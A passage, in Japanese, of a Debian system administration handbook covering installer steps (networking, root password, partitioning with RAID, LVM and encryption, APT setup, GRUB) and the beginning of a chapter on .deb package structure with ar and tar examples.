インストール中にマシンに静的 IP アドレスを定義したいのでローカルネットワーク内で動いている DHCP サーバを使わせたくない場合、CD-ROM から起動する際に **`netcfg/use_dhcp=false`** オプションを追加してください。起動したいメニューエントリにカーソルを合わせた状態で TAB キーを押して、Enter キーを押す前に必要なオプションを追加してください。

BEWARE

場当たり的な設定の禁止

多くのローカルエリアネットワークはすべてのマシンが信頼できるという暗黙の了解の下に成り立っており、1 台でも不適切な設定のコンピュータがあるとネットワーク全体が混乱します。つまり、あなたのマシンを勝手にローカルエリアネットワークへ接続する前に、ネットワーク管理者から適切な設定 (たとえば、IP アドレス、ネットマスク、ブロードキャストアドレス) を教わってください。

4.2.9. 管理者パスワード

マシンの管理者用に確保されているスーパーユーザ root アカウントはインストール中に自動的に作成されます。このため、パスワードが要求されます。インストーラは確認用にもう一度パスワードを尋ねます。これは後から修正することが難しい入力ミスを避けるためです。

図 4.5　管理者パスワード

SECURITY

管理者パスワード

root ユーザのパスワードは長くて (8 文字以上で) 推測できないものであるべきです。実際、インターネットに接続されたコンピュータ (さらにサーバ) はその種類を問わず、定期的に頻繁に使われるパスワードを用いた自動接続攻撃の標的にされます。時には、単語と数字の組み合わせをパスワードとして試す、辞書攻撃にさらされるかもしれません。子供や両親の名前、誕生日などをパスワードとして使わないでください。なぜなら、多くの同僚がそれを知っているかもしれないからです。さらに、そのような人にここでセットアップされている種類のコンピュータを自由に使わせてはいけません。

他のユーザのパスワードに対しても同じことが言えますが、管理権限を持たないユーザのアカウントが乗っ取られたとしても、その影響はそれほど大きくありません。

もし名案が浮かばなければ、遠慮せずに `pwgen` (同名のパッケージに含まれます) などのパスワード生成ソフトウェアを使ってください。

4.2.10. 1 人目のユーザの作成

Debian は管理者に root で作業するという悪習を身に付けさせないために、強制的に標準的なユーザアカウントを作成します。この予防原則は本質的に、人的ミスによる損害を抑えるためには必要最低限の権限だけで作業する必要がある、ということを意味しています。このため、インストーラは 1 人目のユーザの完全な名前、ユーザ名、パスワード (入力ミスの危険を防ぐために 2 回) を尋ねるでしょう。

図 4.6　1 人目のユーザの名前

4.2.11. 時刻の設定

ネットワークを利用できる場合、システムの内部時計は NTP サーバを使って (1 度だけ) 更新されます。こうすることで、初回起動時以降のログのタイムスタンプが修正されます。常に正確な時刻に合わせるためには、最初のインストール後に NTP デーモンのセットアップが必要です (第 8.9.2 節「時刻同期」169 ページを参照してください)。

4.2.12. ディスクや他のデバイスの検出

この段階で Debian がインストールされるであろうハードドライブが自動的に検出されます。検出されたハードドライブは次の段階、パーティショニング、で表示されます。

4.2.13. パーティショニングツールの開始

CULTURE

パーティショニング法

パーティショニングはインストール時に必ず必要な作業で、ハードドライブ上の利用できる領域をハードドライブ上に保存されるであろうデータとコンピュータで予定されている用途に従って分割する作業です (分割されたそれぞれの区画を「パーティション」と呼びます)。パーティショニングの段階で、使用するファイルシステムを選択します。これらすべてが、性能、データのセキュリティ、サーバの管理、に影響をおよぼします。

その昔、パーティショニングは新規ユーザにとって難しい作業でした。パーティショニングには、Linux ファイルシステムと仮想メモリ (スワップ) が保存されるディスクの一区画 (「パーティション」) を定義する必要があります。この作業は、残しておきたい既存の他のオペレーティングシステムがマシン上にある場合に、

複雑になります。実際には、既存のシステムのパーティションを変更しない (または、損害を与えずにパーティションのサイズを変更する) ように注意しなければいけません。

幸いなことに、インストーラに含まれるパーティショニングソフトウェアは「ガイド付き」モードを備えています。このモードを使う場合、ユーザにパーティショニング方法の候補が提示されます。多くの場合、ソフトウェアの提案を確認するだけで事足ります。

図 4.7　パーティショニング方法の選択

パーティショニングツールの最初の画面では、ハードドライブ全体を使ってパーティションを作成する選択肢が表示されます。(新しい) コンピュータに Linux だけをインストールする場合、このパーティショニング方法が明らかに最も単純です。この場合「ガイド - ディスク全体を使う」を選んでください。コンピュータに 2 種類のオペレーティングシステム用の 2 台のハードドライブが装備されている場合、ドライブごとにオペレーティングシステムを分けるのも解決策の 1 つです。こうすることでパーティショニングが楽になります。どちらの場合も、次の画面では、関連するエントリから Linux をインストールするディスク (たとえば「SCSI3 (0,0,0) (sda) - 17.2 GB ATA VBOX HARDDISK」) を選択します。その後、ガイド付きのパーティショニングが始まります。

図 4.8　ガイド付きパーティショニングを適用するディスク

ガイド付きパーティショニングでは、パーティションの代わりに LVM 論理ボリュームを作成することも可能です (LVM については後から説明します)。残りの操作は同じですから、「ガイド - ディスク全体を使い LVM をセットアップする」の選択肢 (暗号化の有無に関わらず) については説明しません。

他の事例、たとえば Linux を既存のパーティションと共存させたい場合、手作業でパーティショニングを実行しなければいけません。

ガイド付きパーティショニング

ガイド付きパーティショニングツールでは、それぞれ別の用途に適した 3 種類のパーティショニング機構を選択できます。

図 4.9　ガイド付きパーティショニング

1 番目のパーティショニング機構は「すべてのファイルを 1 つのパーティションに」です。これは、Linux システムツリー全体 (ルート / ディレクトリ以下すべて) を単一のファイルシステムに保存します。このパーティショニングは単純かつ頑強であり、個人および単一ユーザシステム用途にぴったりです。実際には、2 つのパーティションが作られます。具体的に言えば、システム全体用と仮想メモリ (swap) 用のパーティションが作られます。

2 番目のパーティショニング機構は「/home パーティションの分割」です。これは、1 番目のパーティショニング機構とよく似ていますが、ファイル階層を 2 つに分離します。具体的に言えば、片方には Linux システム (/) を、もう片方には「ホームディレクトリ」(ユーザデータ、ファイルとサブディレクトリは /home/ 以下に配置されます) を収めます。

最後のパーティショニング機構は「/home, /var, /tmp パーティションを分割」です。これはサーバや複数のユーザが利用するシステムに適しています。これはファイルツリーを多くのパーティションに分離します。具体的に言えば、ルート (/) とユーザアカウント (/home/) パーティションの分離に加え、サーバソフトウェアのデータ (/var/) と一時ファイル (/tmp/) 用パーティションも分離します。ファイルツリーが格納されるパーティションをこのように分離するとさまざまな利点を得ることが可能です。ユーザが利用できるハードドライブ領域を使い切ってしまうことでサーバが動かなくなることがなくなります (ユーザが満杯にできるハードドライブ領域を /tmp/ と /home/ だけに制限できます)。さらにデーモンのデータ (特にログ) がシステムの他の領域を圧迫することがなくなります。

BACK TO BASICS

ファイルシステムの選択

ファイルシステムはハードドライブにデータを格納する方法を定義しています。既存のファイルシステムにはそれぞれ長所と制限があります。頑強なものもあれば、効率のよいものもあります。すなわち、自分の必要としていることをよく理解している人は最も適切なファイルシステムを選択することが可能です。既にさまざまなファイルシステムに対する長所や制限が比較検討されています。たとえば **ReiserFS** ファイルシステムは、多くの小さなファイルを読む場合は特に効率が良いとされています。また、**XFS** は巨大なファイルを高速に取り扱えます。Debian のデフォルトファイルシステムである **ext4** は良い妥協点で、昔から Linux で

使われてきた 3 つの古いファイルシステム (**ext**、**ext2**、**ext3**) を基に開発されました。**ext4** は **ext3** にあったいくつかの制限を克服しており、とりわけ大容量のハードドライブに適しています。将来が期待されている **btrfs** を試すという選択肢もあります。**btrfs** は最近の LVM または RAID を使用する際に要求される非常に多くの機能を備えています。

ジャーナル化されたファイルシステム (**ext3**、**ext4**、**btrfs**、**reiserfs**、**xfs** など) では、突発的な障害が起きた際にディスク全体を完全に解析することなく (**ext2** システムでは完全に解析することが必要でした) ファイルシステムを以前の整合性の取れた状態に戻せるようにするために、特別な対策が取られています。実際に作業を実行する前に、その作業の内容をジャーナルに書き込むことにより、この対策機能は実現されています。作業が中断された場合、ジャーナルを使って作業を「再実行」することが可能です。逆に言うと、ジャーナルの更新中に障害が発生した場合、最後の作業は単純に無視されます。その結果、ジャーナルに書き込まれたデータは失われるかもしれませんが、ディスク上のデータは変更されていないので、整合性が保たれます。これはまさにファイルシステムに対するトランザクション処理と言えます。

パーティションの種類を選択した後、ガイド付きパーティショニングツールはパーティショニング案を算出し、画面に提示します。必要であれば、ユーザはパーティショニング案を変更することも可能です。特に、標準的なファイルシステム (**ext4**) が不適切な場合は、別のファイルシステムを選択することが可能です。しかしながら多くの場合、インストーラの提示したパーティショニング案は妥当です。承諾するには「パーティショニングの終了とディスクへの変更の書き込み」エントリを選択してください。

図 4.10　パーティショニングの確認

手作業のパーティショニング

手作業でパーティショニングを実行すればより柔軟にパーティションを設定できます (各パーティションの目的とサイズを選ぶことが可能です)。また、ソフトウェア RAID を希望する場合、手作業でパーティショニングを実行しなければいけません。

IN PRACTICE

Windows パーティションの縮小

Debian を他のオペレーティングシステム (Windows など) と共存させてインストールする場合、Debian 専用のパーティションを作成するためには、他のシステムから使われていないハードドライブ領域を必要とします。多くの場合、これは Windows パーティションを縮小し、できた空き領域を再利用することを意味しています。

Debian インストーラでは、手作業でパーティショニングを実行すれば、パーティションの縮小作業を実行できます。パーティションを縮小するには Windows パーティションを選択し、新しいサイズを入力するだけです (Debian インストーラは FAT と NTFS の両方のパーティションの縮小に対応しています)。

最初の画面では、利用できるディスク、パーティション、パーティションを割り当てられていない空き領域が表示されます。表示されたそれぞれの要素を選択できます。さらに Enter キーを押せば、実行できる操作のリストが表示されます。

ディスクを選択すれば、そのディスク上のすべてのパーティションを削除できます。

ディスクの空き領域を選択すれば、新しいパーティションを作成できます。ガイド付きパーティショニングを空き領域に適用することも可能です。この方法は、ディスクには別のオペレーティングシステムがインストールされているけれども、標準的なやり方で Linux のパーティショニングを実行したいという場合に興味深い解決策です。ガイド付きパーティショニングに関する詳しい情報は第 4.2.13.1 節「ガイド付きパーティショニング」59 ページをご覧ください。

BACK TO BASICS

マウントポイント

マウントポイントとは、パーティションに保存されたファイルシステムの内容を格納するディレクトリツリーです。つまり `/home/` にマウントされたパーティションにはユーザデータが格納されます。

マウントポイントが「/」の場合、ファイルツリーの**ルート**を意味し、このパーティションのルートには Debian システムが格納されます。

BACK TO BASICS

仮想メモリ、スワップ

Linux カーネルは、仮想メモリのおかげでメモリ (RAM) の空き領域が不足した際にしばらくの間使われていない RAM の内容をハードディスクのスワップパーティションに保存して、少しの RAM 空き領域を確保することが可能です。

仮想メモリのような付加的メモリを装うために、Windows ではファイルシステムに直接格納されるスワップファイルが利用されています。逆に、Linux ではこの目的専用のパーティション「スワップパーティション」が利用されています。

以下は、パーティションを選んだ後に指定できる、選択したパーティションの取り扱い方のリストです。

- 選択したパーティションをフォーマットし、マウントポイントを指定してパーティションをファイルツリーに含めます。
- 選択したパーティションをスワップパーティションとして使います。
- 選択したパーティションを「暗号化物理ボリューム」にします (パーティションに含まれる秘密のデータを守るには、以下を参照してください)。
- 選択したパーティションを「LVM 用物理ボリューム」にします (LVM の概念は、この章の後で詳しく議論します)。
- 選択したパーティションを RAID デバイスとして利用します (この章の後半を参照してください)。
- 選択したパーティションを使わないことにして、そのままにしておくことも可能です。

マルチディスクデバイスの設定 (ソフトウェア RAID)

一部の RAID レベルでは複数のハードドライブに保存された情報を複製することで、RAID を構成する 1 台のハードドライブがデータに影響をおよぼすハードウェア障害を起こした際にデータが消失することを防いでいます。レベル 1 RAID は単純で、2 台のハードドライブに全く同じデータの複製を作ります。これに対して、レベル 5 RAID は冗長データを複数のディスクに分散します。このため、障害の起きたドライブに含まれたデータを完全に復元することが可能です。

ここでは最も簡単に設定できるレベル 1 RAID だけを説明します。最初に、全く同じサイズのパーティションを 2 つ別々のドライブに作成し、「RAID の物理ボリューム」とラベル付けします。

2 つのパーティションを 1 つの仮想ディスクにまとめるためにはパーティショニングツールで「ソフトウェア RAID の設定」を選び、設定画面で「MD デバイスの作成」を選んでください。その後、新しいデバイスに関する一連の質問に答える必要があります。最初の質問では、使用する RAID レベルを尋ねられます。今回の場合「RAID1」です。2 番目の質問では、アクティブデバイスの数を尋ねられます。アクティブデバイスの数とは MD デバイスに含めるパーティションの数で、今回の場合 2 台です。3 番目の質問では、予備デバイスの数を尋ねられます。今回の場合 0 台です。つまり、ディスク障害が起きた際に機能を代替させるためのディスクを追加する計画はないということです。最後の質問では、RAID デバイス用のパーティションを尋ねられます。これは事前に用意した 2 つのパーティションです (「raid」と明示されているパーティション以外は選ばないでください)。

メインメニューに戻ると、新しい仮想「RAID」ディスクが表示されます。このディスクは削除できない単一のパーティションとして表示されますが、選択すればこれを使用できます (他のパーティションと同じ方法で選択してください)。

RAID 機能に関するより詳しい情報は第 12.1.1 節「ソフトウェア RAID」302 ページを参照してください。

論理ボリュームマネージャ (LVM) の設定

LVM を使うことで、複数のディスクにまたがる「仮想」パーティションを作成できます。LVM を使うことの利点は 2 つあります。具体的に言えば、パーティションのサイズは、もはや個々のディスクによって制限を受けるのではなく、累積ボリュームによって制限を受けます。さらにパーティションのサイズはいつでも (ディスクを追加した後などに) 変更できます。

LVM では特有の専門用語を使います。たとえば仮想パーティションは「論理ボリューム」と呼ばれます。「論理ボリューム」は「ボリュームグループ」の一部分を表し、「論理ボリューム」は複数の「物理ボリューム」群から構成されます。実際のところ、これらの専門用語は「実」パーティション (またはソフトウェア RAID デバイス) から作られるものです。

LVM はとても単純な方法で実現されています。すなわち、それぞれのボリュームは物理であるか論理であるかに関わらず同じサイズのブロックに分割され、ブロックは LVM に対応付けられます。新しいディスクを追加した場合は新しい物理ボリュームの作成が必要で、新しいブロックは任意のボリュームグループに関連付けることが可能です。拡張されたボリュームグループ内のすべてのパーティションは、ディスク領域の許す限り拡張することが可能です。

パーティショニングツールは数段階で LVM を設定します。最初に、存在するディスク上に「LVM の物理ボリューム」となるパーティションを作成しなければいけません。LVM を稼働させるには、「論理ボリュームマネージャの設定」を選び、同じ設定画面で「ボリュームグループの作成」から、存在する物理ボリュームを作

成するボリュームグループに関連付けてください。最後に、このボリュームグループ内に論理ボリュームを作成してください。自動パーティショニングシステムを使えばこれらの全段階を自動的に実行できる点に注意してください。

パーティショニングメニューでは、各物理ボリュームは削除できない単一のパーティションを持つディスクとして表示されますが、LVM 用として望み通り使うことが可能です。

LVM の使い方については第 12.1.2 節「LVM」312 ページで詳しく説明されています。

暗号化されたパーティションの設定

データの機密性を保証するには、たとえばコンピュータやハードドライブを紛失したり盗難された時に備えて、一部のパーティションのデータを暗号化しておく必要があります。暗号化の可否はファイルシステムの種類に依存しません。なぜなら、Linux (より具体的に言えば dm-crypt ドライバ) は LVM と同様にデバイスマッパを使い、暗号化されたデータが保存されるパーティション上に仮想パーティション (この内容が保護されます) を作成するからです (LUKS、Linux Unified Key Setup、のおかげで標準的なフォーマットが定められ、暗号化されたデータおよび使われている暗号化アルゴリズムを表すメタ情報の保存が可能になりました)。

SECURITY

暗号化されたスワップパーティション

暗号化されたパーティションを使う場合、暗号化鍵はメモリ (RAM) の中に保存されています。暗号化鍵が入手できればデータの復号化が可能になりますから、コンピュータやハードドライブの泥棒もしくはメンテナンス技術者に暗号化鍵の複製を入手されないようにするには、暗号化鍵の複製を RAM に残さないようにすることが最も重要です。しかしながらラップトップでは RAM の中に暗号化鍵の複製を残すという状況が簡単に起こります。なぜなら、ハイバネーションの際に RAM の内容はスワップパーティションに保存されるからです。スワップパーティションが暗号化されていない場合、泥棒は暗号化鍵を入手して、暗号化されたパーティションのデータを復号化するかもしれません。このため、暗号化されたパーティションを使うなら、スワップパーティションの暗号化も欠かせません!

Debian インストーラはスワップパーティションが暗号化されていないにも関わらず暗号化されたパーティションを作ろうとしたらユーザに警告します。

暗号化されたパーティションを作成するには、最初にあるパーティションを暗号化用に割り当てなければいけません。割り当てを行うには、パーティションを選択し「暗号化の物理ボリューム」として使うように設定してください。物理ボリュームを含むディスクのパーティショニングの後、「暗号化されたボリュームの設定」を選んでください。パーティショニングツールは (真のデータの位置をより分かりにくくするために) 物理ボリュームをでたらめなデータで初期化することを提案し、「暗号化パスフレーズ」の入力を要求します。暗号化されたパーティションの内容にアクセスする場合、パスフレーズはコンピュータの起動時に毎回入力しなければいけません。この段階が完了しパーティショニングツールメニューまで戻ったら、「暗号化ボリューム」から新しいパーティションを利用できるはずです。「暗号化ボリューム」は他のパーティションと同様に設定できます。多くの場合、「暗号化ボリューム」は LVM の物理ボリュームとして利用されます。そうすれば、複数のパーティション (LVM 論理ボリューム) をスワップパーティションも含めて同じ暗号化鍵で保護することが可能になります (補注「 暗号化されたスワップパーティション」64 ページを参照してください)。

4.2.14. 基本システムのインストール

この段階ではユーザの入力は不要で、Debian の「基本システム」パッケージがインストールされます。基本システムには Debian パッケージを管理する dpkg と apt ツールだけでなく、システムを起動させてシステムを使うのに必要なユーティリティが含まれています。

図 4.11　基本システムのインストール

4.2.15. パッケージマネージャ (apt) の設定

追加ソフトウェアをインストールできるようにするためには、APT を設定し、Debian パッケージを探す場所を決めなければいけません。この段階は可能な限り自動化されています。パッケージマネージャの設定はパッケージを探す場所をネットワークソースにするか CD-ROM だけにするかを尋ねる質問から始まります。

NOTE

ドライブ中の Debian CD-ROM

インストーラが CD/DVD ドライブに Debian のインストールディスクを検出した場合、ネットワーク上のパッケージを探しに行くように APT を設定する必要はありません。なぜなら APT はリムーバブルメディアドライブからパッケージを読むように自動的に設定されているからです。このディスクがインストールディスクセットの一部だった場合、インストーラは他のディスクに収められているすべてパッケージを参照するために他のディスクを「探索」することを提案するでしょう。

ネットワークからパッケージを取得することを選んだ場合、次の 2 つの質問で国とその国で利用できる Debian アーカイブミラーを選択し、パッケージをダウンロードするサーバを選びます (Debian アーカイブミラーとは Debian マスターアーカイブにあるファイルのコピーをホストしている公開サーバです)。

図 4.12　Debian アーカイブミラーの選択

最後にインストーラは HTTP プロキシを使うことを提案します。プロキシを入力しなかった場合、インターネットに直接アクセスします。ここで http://proxy.falcot.com:3128 と入力した場合、APT は Falcot の**プロキシ/キャッシュ**である「Squid」プログラムを使うでしょう。プロキシの設定を見つけ出すには、同じネットワークに接続された別のマシンでウェブブラウザの設定を確認してみてください。

APT は `Packages.xz` と `Sources.xz` ファイルを自動的にダウンロードし、認識するパッケージのリストを更新します。

BACK TO BASICS

HTTP プロキシ

HTTP プロキシはネットワークユーザの HTTP 要求を転送するサーバです。プロキシは転送したファイルのコピーを保存することでダウンロードの高速化に寄与する場合があります (そのためこれはプロキシ/キャッシュと呼ばれます)。時として、プロキシは外部のウェブサーバにアクセスする唯一の手段である場合があります。そしてこのような場合、必ずインストール中のプロキシ関連の質問に答えてください。そうすれば、プログラムはプロキシを通じて Debian パッケージをダウンロードできるようになります。

Squid は Falcot Corp がプロキシサービスを提供するために使っているサーバソフトウェアの名前です。

4.2.16. Debian パッケージ人気コンテスト

Debian システムには **popularity-contest** と呼ばれるパッケージが含まれています。**popularity-contest** はパッケージの使用統計を収集するためのパッケージです。毎週、このプログラムはインストール済みパッケージと最近利用されたパッケージの情報を収集し、この情報を匿名で Debian プロジェクトのサーバに送信します。Debian プロジェクトはこの情報を基に各パッケージの相対的重要度を決定します。パッケージの相対的重要度はパッケージの優先度に影響をおよぼします。特に、インストールメディアの完全なセットをダウンロードまたは購入したくないというユーザの利便性を考慮して、インストール CD-ROM に収録されるパッケージは最も「人気」のパッケージだけに限られています。

popularity-contest は、ユーザの利用法の機密性を配慮して、要求されない限りインストールされません。

4.2.17. インストールするパッケージの選択

以降の段階では、マシンの大ざっぱな用途を選択します。ここで提案されている 10 種類のタスクはインストールされるパッケージのリストに対応しています。後からインストール済みパッケージのリストを微調整したり仕上げる必要があるという点は変わりませんが、ここでタスクを選択して必要と思われるパッケージをインストールしておくことは後の作業の良い足掛かりとなります。

一部のパッケージは、検出されたハードウェアに基づき、自動的にインストールされます (**discover** パッケージの `discover-pkginstall` プログラムがこれを担当します)。

図 4.13　タスクの選択

4.2.18. GRUB ブートローダのインストール

ブートローダは BIOS が起動する最初のプログラムです。ブートローダは Linux カーネルをメモリに読み込み、実行します。通常ブートローダはユーザに対して、読み込むカーネルまたは起動したいオペレーティングシステムを選択できるメニューを表示します。

BEWARE

ブートローダとデュアルブート

Debian インストール作業では、この段階でコンピュータに既にインストールされたオペレーティングシステムを検出し、関連するエントリをブートメニューに自動的に追加します。しかし、中にはこのような作業を行わないインストールプログラムもあります。

特に、Debian のインストール後に Windows をインストール (または再インストール) する場合、Debian がインストールしたブートローダは消去されます。Debian はまだハードドライブに残っていますが、もはやブートメニューに表示されません。排他的でないブートローダをセットアップするには、Debian インストールシステムを **rescue** モードで起動してください。この操作はインストールマニュアルに詳しく書かれています。

➨ http://www.debian.org/releases/stable/amd64/ch08s07.html

デフォルトでは、GRUB が表示したメニューにはすべてのインストールされたカーネルおよび検出された他のオペレーティングシステムが含まれています。このため、GRUB はマスターブートレコード内にインストールされるべきです。古いカーネルバージョンを残しておけば、最近インストールされたカーネルが欠陥品かハードウェアと相性が悪い場合にも同じシステムを起動できる状態が保存されます。このため、インストール済みの古いカーネルバージョンを保持しておくことは合理的な方法です。

GRUB はその技術的優位性のおかげで Debian がインストールするデフォルトのブートローダに採用されています。そして GRUB は多くのファイルシステムをサポートしているため、新しいカーネルのインストールの後に GRUB を毎回更新する必要がありません。なぜなら、GRUB は起動中に設定を読んで、新しいカーネルの正確な位置を見つけ出すからです。GRUB のバージョン 1 (現在は「Grub Legacy」として知られています) は LVM とソフトウェア RAID の組み合わせを取り扱うことができませんでした。しかし、デフォルトでインストールされるバージョン 2 はより完成度の高いものです。また、LILO (別のブートローダ) のインストールが推奨される状況もまだあるかもしれません。そのような場合、インストーラは自動的に LILO を提案します。

GRUB の設定に関する詳しい情報は第 8.8.3 節「GRUB 2 の設定」166 ページを参照してください。

BEWARE

ブートローダとアーキテクチャ

この章で紹介した LILO と GRUB は **i386** と **amd64** アーキテクチャ用のブートローダです。もし別のアーキテクチャに Debian をインストールするなら、別のブートローダが必要です。とりわけ、**powerpc** 用には `yaboot` または `quik`、**sparc** 用には `silo`、**alpha** 用には `aboot`、**mips** 用には `arcboot` が用意されています。

4.2.19. インストールの完了と再起動

これでインストールが完了しました。インストーラは、ドライブから CD-ROM を取り出し、コンピュータを再起動するよう促します。

4.3. 初回起動の後

特定のデスクトップを選ばずに (または「GNOME」を選んで)「Debian デスクトップ環境」のタスクを有効化してインストールを進めていた場合、`gdm3` ログインマネージャが表示されます。

図 4.14　初回起動

作成したユーザを使ってログインし、すぐに仕事を始められます。

4.3.1. 追加ソフトウェアのインストール

インストールされているパッケージはシステムのインストール中に選択したタスクを基に選ばれたものですが、実際のマシンの用途には不要なパッケージがインストールされている場合もあります。このような場合、パッケージをインストールしたり削除するためにパッケージ管理ツールを使いたくなるかもしれません。最も頻繁に利用されるパッケージ管理ツール (「Debian デスクトップ環境」タスクを選んだ場合にインストールされます) は apt (コマンドラインから利用します) と synaptic (メニューの「Synaptic パッケージマネージャ」から利用します) の 2 種類です。

一連のプログラムグループのインストールを楽にするために、Debian はシステムに特定の (メールサーバ、ファイルサーバなどの) 機能を持たせる際に必要な作業をまとめた「タスク」を作りました。「タスク」を選択する機会はインストール中にもありましたし、パッケージ管理ツールである aptitude (タスクは専用のセクション内にリストされています) および synaptic (編集 (E) → タスクを利用してパッケージにマークする (T)…とメニューを進みます) からもタスクにアクセスすることが可能です。

aptitude は全画面のテキストモードで動く APT へのインターフェースです。aptitude を使えば、利用できるパッケージをさまざまな状態 (インストール済み、未インストールのパッケージ、タスク、セクションなど) ごとに分類したリストを閲覧したり、各パッケージに対して利用できるすべての情報 (依存パッケージ、衝突パッケージ、パッケージ説明文など) を確認できます。また、各パッケージに対して一時的に「インストール」や「削除」マークを付け、後からその操作を実行させることが可能です (インストールは + キー、削除は - キーでマークします)。マークした操作は、g キー (「go!」の「g」) を押して確認したら、一斉に実行されます。インストールし忘れたパッケージがあっても心配ありません。この場合、最初のインストールが完了したら、もう一度 aptitude を実行すればよいのです。

TIP

Debian は非英語言語話者に配慮しています

いくつかのタスクはシステムを英語以外の言語向けに地域化するためのタスクです。これらのタスクには、翻訳された文書、辞書、異なる言語の話者に有益なさまざまな他のパッケージが含まれています。インストール中に非英語言語を選択した場合には、適切なタスクが自動的に選択されます。

CULTURE

dselect、パッケージをインストールする古いインターフェース

aptitude 以前、インストールするパッケージを選択するための標準的なプログラムは dselect で、dselect は dpkg に対する古いグラフィカルインターフェースでした。dselect は初心者には使い難いプログラムなので、推奨しません。

もちろん、すべてのタスクを選択しないことも可能です。その場合、apt や aptitude コマンド (両方ともコマンドラインから利用できます) を使って必要なソフトウェアを手作業でインストールします。

VOCABULARY

パッケージの依存関係と衝突

Debian パッケージング用語で「依存」は対象のパッケージが適切に動作するために必要な他のパッケージを意味しています。逆に、「衝突」は対象のパッケージと共存してインストールできない他のパッケージを意味しています。

これらの概念は第 5 章「パッケージシステム、ツールと基本原則」74 ページで詳しく議論されています。

4.3.2. システムのアップグレード

一般的に言えば、最初に apt upgrade (インストールされたプログラムを自動的に更新するコマンド) を実行することをお勧めします。特に最新の Debian 安定版バージョンのリリース以降に発表されたセキュリティ更新を適用しなければいけません。更新の際に、標準的な Debian 設定ツールである debconf を使って追加的な質問をされるかもしれません。apt を使った更新に関する詳しい情報は、第 6.2.3 節「システムのアップグレード」111 ページを参照してください。

キーワード

バイナリパッケージ
ソースパッケージ
dpkg
依存関係
衝突

章

パッケージシステム、ツールと基本原則

5

目次

バイナリパッケージの構造 74　パッケージのメタ情報 76　ソースパッケージの構造 86
dpkg を用いたパッケージの操作 89　他のパッケージングシステムとの共存 97

Debian システム管理者は日常的に .deb パッケージを取り扱います。なぜなら、パッケージにはそのパッケージを使うために必要なすべての要素 (アプリケーション、文書など) が含まれており、パッケージによってこれらの要素のインストールとメンテナンスが楽になるからです。ゆえに、パッケージとはどのようなもので、パッケージはどのように取り扱われるべきものなのかを知っておくことは良い考えです。

この章では、「バイナリパッケージ」と「ソースパッケージ」の構造と内容について説明します。バイナリパッケージとは dpkg が直接取り扱う .deb ファイルです。一方、ソースパッケージにはソースコードおよびバイナリパッケージをビルドするための説明が含まれています。

5.1. バイナリパッケージの構造

Debian パッケージのフォーマットは伝統的なコマンドである ar、tar、gzip (xz や bzip2 の場合もあります) を備える Unix システムで内容を展開できるように設計されました。この一見たわいもない特徴は可搬性と障害復旧を考えると重要です。

たとえば、誤って dpkg プログラムを削除して、Debian パッケージをインストールできなくなったとしましょう。dpkg は Debian パッケージなので、もはやシステムを回復することは不可能のように見えます... 幸いなことに、パッケージの構成を知っていれば、**dpkg** パッケージの .deb ファイルをダウンロードし、手作業でパッケージをインストールできます (補注「 dpkg、APT、ar」74 ページを参照してください)。もし不幸にも、ar、tar、gzip/xz/bzip2 のうち 1 つでもなかったら、足りないプログラムを別のシステムからコピーするだけで十分です (各々のプログラムは、依存関係がなく、完全に独立して動くため、単純にコピーすれば十分です)。システムが最悪の状況に陥ってこれらのプログラムが動かない場合 (最も根源的なシステムライブラリが欠けている場合?)、静的リンクされた busybox (**busybox-static** パッケージに含まれます) を試してみるべきです。静的リンクされた busybox はさらに依存関係が少なく、busybox ar、busybox tar、busybox gunzip などのサブコマンドを備えています。

TOOLS

dpkg、APT、ar

dpkg は .deb ファイルを取り扱うプログラムで、特に .deb ファイルの抽出、分析、展開を担当しています。

APT はシステムの変更操作をさらに手際よく行うプログラム群です。具体的に言えば、APT はパッケージのインストールや削除 (依存関係を破壊することなく)、システムの更新、利用できるパッケージの表示などを行います。

ar プログラムは ar アーカイブファイルを取り扱います。たとえば ar t **archive** はアーカイブに含まれるファイルのリストを表示、ar x **archive** は現在の作業ディレクトリにアーカイブからファイルを抽出、ar d **archive file** はアーカイブからファイルを削除などの作業を行います。これ以外の機能は man ページ (ar(1)) を参照してください。ar はとても基本的なツールであり、Unix 管理者はめったにこれを使いません。対して、tar は日常的に使われる、進化したアーカイブとファイルの管理プログラムです。そんなわけで、dpkg を誤って削除した場合でも、簡単に元の状態に戻すことが可能です。Debian パッケージをダウンロードして、data.tar.gz アーカイブからシステムのルート (/) で内容を抽出するだけです。

```
# ar x dpkg_1.17.23_amd64.deb
# tar -C / -p -xzf data.tar.gz
```

BACK TO BASICS

man ページの表記

初心者にとって、文献から「ar(1)」の資料を探すことは、わかりにくいことかもしれません。ar(1) は第 1 セクションにある ar と名付けられた man ページを参照する便利な表記です。

man ページの表記は曖昧さをなくすために使われる場合があります。たとえば、printf コマンドの man ページは printf(1) と表記し、C 言語の printf 関数の man ページは printf(3) と表記することで、両者を区別します。

詳細は第 7 章「問題の解決と関連情報の探索」136 ページで議論されています (第 7.1.1 節「マニュアルページ」136 ページをご覧ください)。

それでは .deb ファイルの内容を見てみましょう。

```
$ ar t dpkg_1.17.23_amd64.deb
debian-binary
control.tar.gz
data.tar.gz
$ ar x dpkg_1.17.23_amd64.deb
$ ls
control.tar.gz  data.tar.gz  debian-binary  dpkg_1.17.23_amd64.deb
$ tar tzf data.tar.gz | head -n 15
./
./var/
./var/lib/
./var/lib/dpkg/
./var/lib/dpkg/parts/
./var/lib/dpkg/info/
./var/lib/dpkg/alternatives/
./var/lib/dpkg/updates/
./etc/
./etc/logrotate.d/
./etc/logrotate.d/dpkg
./etc/dpkg/
./etc/dpkg/dpkg.cfg.d/
./etc/dpkg/dpkg.cfg
./etc/alternatives/
$ tar tzf control.tar.gz
./
./conffiles
./postinst
./md5sums
./prerm
./preinst
./control
./postrm
$ cat debian-binary
2.0
```

ご覧の通り、Debian パッケージの ar アーカイブは以下の 3 つのファイルから成り立っています。

- debian-binary。これは使われている .deb ファイルのバージョンを示す (2015 年の時点ではバージョン 2.0) テキストファイルです。
- control.tar.gz。このアーカイブファイルには、パッケージの名前やバージョンなど、利用できるすべてのメタ情報が含まれています。このメタ情報の一部と、たとえば、マシンにインストールされているパッケージのリストを照らし合わせて、パッケージ管理ツールはパッケージをインストールまたはアンインストールが可能かを決定します。
- data.tar.gz。このアーカイブには、パッケージから展開されるすべてのファイルが含まれています。つまり、実行ファイル、文書などすべてが保存されています。一部のパッケージでは異なる圧縮フォ

ーマットが使われているかもしれません、このような場合、ファイルは別の名前が付けられています (bzip2 の場合 data.tar.bz2、XZ の場合 data.tar.xz です)。

5.2. パッケージのメタ情報

